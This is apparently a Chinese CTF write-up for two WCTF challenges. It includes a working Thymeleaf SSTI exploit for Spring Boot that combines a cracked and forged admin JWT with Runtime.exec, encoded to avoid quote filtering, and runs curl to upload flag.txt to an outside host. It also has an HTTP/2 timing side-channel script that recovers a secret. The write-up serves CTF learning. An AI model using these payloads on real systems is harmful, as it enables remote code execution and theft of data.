wctf题目质量很好,比赛体验也很好。

thymeleaf

image-20201120165624924

springboot,扫目录发现swagger-ui.html泄露

image-20201120165700553 image-20201120165752863

模板注入

https://paper.seebug.org/1332/ 对于springboot如果controller无返回值,会渲染url。

image-20201120170102683

经测试

DELETE /auth/user/xxx 时controll无返回值

image-20201120170156730

jwt爆破权限绕过

访问一直返回无权限访问,拿jwtcracker爆破密码得到admin,jwt伪造admin

绕过引号被过滤

使用concat绕过

message = input()

d = 'T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   d += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

读flag

远程环境是windows,最后使用curl 读flag,出题人预期应该是反弹shell的,但是flag就在本目录可以直接读取。

import requests

message = "curl 192.168.3.10:10000 -F "file=@flag.txt""

d = 'T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   d += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)


burp0_url = "http://172.16.3.10:10007/auth/user/__$%7bT(java.lang.Runtime).getRuntime().exec({})%7d__::.x".format(d)
#burp0_url = "http://172.16.3.10:10007/auth/user/__$%7b{T(org.apache.commons.io.FileUtils).readFileToString(new%20java.io.File({})%7d__::.x".format(d)
burp0_cookies = {"SESSION": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4iLCJpc3MiOiJYWC1NYW5hZ2VyIiwiaWF0IjoxNjA1NzQ4NjMwfQ.RPj_a2VkktEybvoicrUuzc373-V0FAC51Av42WQeCvc"}
res = requests.delete(burp0_url, cookies=burp0_cookies)
print(res.text)
image-20201120170813858

Spaceless

访问 题目地址是二进制乱码

image-20201120171159619

信息收集

分析出二进制响应内容判断是http2.0内容

使用http2.0访问方式拿到源码

from hyper import HTTP20Connection


if "__main__" == __name__:

    conn = HTTP20Connection('172.16.3.74:10008')
    conn.request('GET', '/')
    resp = conn.get_response()

    print(resp.read().decode())

源码:

#!/usr/bin/env python

import os
import time

from flask import Flask

app = Flask(__name__)

SECRET = os.environ["SECRET"]
assert " " not in SECRET

PLANCK_TIME = 5.391247 * 10 ** -44


@app.route("/")
def index():
    with open(__file__) as f:
        return f.read()


@app.route("/<secret>")
def check_secret(secret):
    if len(secret) != len(SECRET):
        return "SPACELESS SPACING!"
    for a, b in zip(secret, SECRET):
        if a == " ":
            continue
        elif a != b:
            return "INCORRECT!"
        else:
            time.sleep(PLANCK_TIME)
    if " " in secret:
        return "INCORRECT!"
    return "CORRECT!"


Process finished with exit code 0

很简单的flask程序,流程大概是输入一个secret,每一位进行比较,如果输入的对应位为空格则判断下一位,但是在下面判断如果存在空格就仍然返回INCORRECT。如果某一位正确,就会sleep普朗克时间。

流程很简单,但是题目所给的信息就这么多了。

首先sleep普朗克时间并不是真的5.391247 * 10 ** -44这么小,因为python的sleep有最小单位,我们本地跑大概在10的-5次方的数量级。

http2.0

http2.0相对于http1.x,大幅度的提升了 web 性能。它有两个很重要的特性单一长链接和多路复用,一个TCP链接就可以发送非常多个请求。

侧信道

基于上面的代码,有一个基本的思路,我们可以利用单一长连接,在一个TCP链接上发送大量的请求,按位猜测SECRET值,因为如果猜测正确,那么正确数据流会进入sleep中,而失败会break。

所以最开始的思路是,一个TCP链接如果能发送10000个请求的话,那么测量这个TCP链接所用时间可以按位猜测SECRET值。

虽然本地试的时候可以发送非常多的包,但是当我使用python的hyper.HTTP20Connection真实环境发送请求时发现一个TCP链接只能发送999个请求(可能是远程的限制)。

image-20201120173849621

虽然999个请求必然会有效果,但是999个请求乘以一次sleep时间在网络波动的影响下并不能很好的区分响应。

倒序侧信道猜测

顺序一位一位的猜测仅能通过一个sleep普朗克时间区分正确与否。

首先我们测试了SECRET是以wctf{开头的,那么猜测必定是以}结尾。

而如果是倒序猜测SECRET的话,首先我们测试如果成功猜测正确后面几位,那么正确的与错误会差距越来越大。因为每测一位,如果这位正确,那么后面全部正确,如果错误就直接break返回了。

利用最后一位已知,直接从倒数第二位开始猜测,那么倒数第二位正确了话会延迟两个sleep,而错误直接返回。

from hyper import HTTP20Connection
import time
import copy
from urllib.parse import quote
import string
import threading

PLANCK_TIME = 5.391247 * 10 ** -44

host = "172.16.3.74"
port = 10008
times = {}

ss = string.printable


def req(text, loop):
    conn = HTTP20Connection(host, port)
    t1 = time.time()
    for i in range(loop):
        conn.request('GET', '/' + quote(text))
        try:
            conn.get_response()
        except:
            print(i)
            exit(0)
    t2 = time.time()

    return t2 - t1


def getloop(text1):
    return 999


def judge(times):
    t = copy.deepcopy(times)
    t.sort(reverse=True)
    return times.index(t[0])


def gettext(flag, s):
    return flag + s + ' ' * (38 - len(flag + s) -1) + '}'


def gettext1(flag, s):
    return flag + ' ' * (38 - len(flag + s) -1) + s + '}'


if __name__ == "__main__":

    for j in range(0, 10):

        t1 = req(gettext1("", "wctf{yejpuanjievvxkuzjftfidxqowqdegqc"), 1000)
        t2 = req(gettext1("", "xx"), 999)

        print(t1-t2)

然后再一位一位猜测,最后拿到flag

更合理的做法

做题时虽然我们是有效果的,但是想到大师赛是线上的,那拿我们的脚本可能还是会受到网络影响。比完赛和kap0k师傅交流,他们找到了这个脚本https://github.com/DistriNet/timeless-timing-attacks,简单那看了一下,它实现的更底层,能保证几个对照请求能同时到达服务器

image-20201122211856253